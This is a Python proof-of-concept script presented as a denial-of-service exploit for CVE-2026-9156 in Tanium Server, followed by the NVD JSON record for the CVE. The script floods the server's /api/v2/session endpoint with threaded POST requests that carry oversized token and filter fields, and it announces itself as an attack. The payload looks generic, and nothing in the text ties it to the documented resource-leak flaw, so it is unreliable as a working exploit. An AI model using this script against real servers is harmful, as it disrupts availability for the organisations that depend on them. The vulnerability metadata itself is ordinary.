CVE-2026-9156

# CVE-2026-9156 PoC - Tanium Server DoS # Target: Tanium Server # Type: Denial of Service # CVSS: 6.5 (Medium) import requests import time import argparse from concurrent.futures import ThreadPoolExecutor def exploit_tanium_dos(target_url, verify=True): """ PoC for CVE-2026-9156 - Tanium Server DoS Sends malformed requests to trigger DoS condition """ headers = { 'User-Agent': 'Tanium Client/7.x', 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' } # Malformed request payload targeting vulnerable endpoint payload = { 'session': { 'token': 'A' * 10000, # Large payload 'action': 'endpoint_list', 'filter': 'x' * 5000 } } try: response = requests.post( f'{target_url}/api/v2/session', json=payload, headers=headers, verify=verify, timeout=10 ) return response.status_code, len(response.content) except requests.exceptions.RequestException as e: return None, str(e) def main(): parser = argparse.ArgumentParser(description='CVE-2026-9156 PoC') parser.add_argument('--target', required=True, help='Tanium Server URL') parser.add_argument('--threads', type=int, default=10, help='Number of threads') args = parser.parse_args() print(f'[*] Starting DoS attack against {args.target}') print(f'[*] Using {args.threads} concurrent connections') with ThreadPoolExecutor(max_workers=args.threads) as executor: futures = [executor.submit(exploit_tanium_dos, args.target) for _ in range(100)] for i, future in enumerate(futures): status, length = future.result() print(f'[+] Request {i+1}: Status={status}, Response={length}') print('[*] Attack completed') if __name__ == '__main__': main()

{"cve": {"id": "CVE-2026-9156", "sourceIdentifier": "3938794e-25f5-4123-a1ba-5cbd7f104512", "published": "2026-05-27T02:16:35.003", "lastModified": "2026-05-29T19:16:18.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tanium addressed a denial of service vulnerability in Tanium Server."}], "metrics": {"cvssMetricV31": [{"source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-772"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tanium:server:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.4.0", "versionEndExcluding": "7.6.4.2190", "matchCriteriaId": "1B1353A9-B83C-4FC6-AF95-CB3DF455405E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tanium:server:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.7.3.0", "versionEndExcluding": "7.7.3.8274", "matchCriteriaId": "44C67EDB-B43D-4F92-A701-61E46D46C7F0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tanium:server:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.8.2.0", "versionEndExcluding": "7.8.2.1176", "matchCriteriaId": "8FAB89DE-F2CA-4CEE-AB92-3387B6D23931"}]}]}], "references": [{"url": "https://security.tanium.com/TAN-2026-013", "source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "tags": ["Vendor Advisory"]}]}}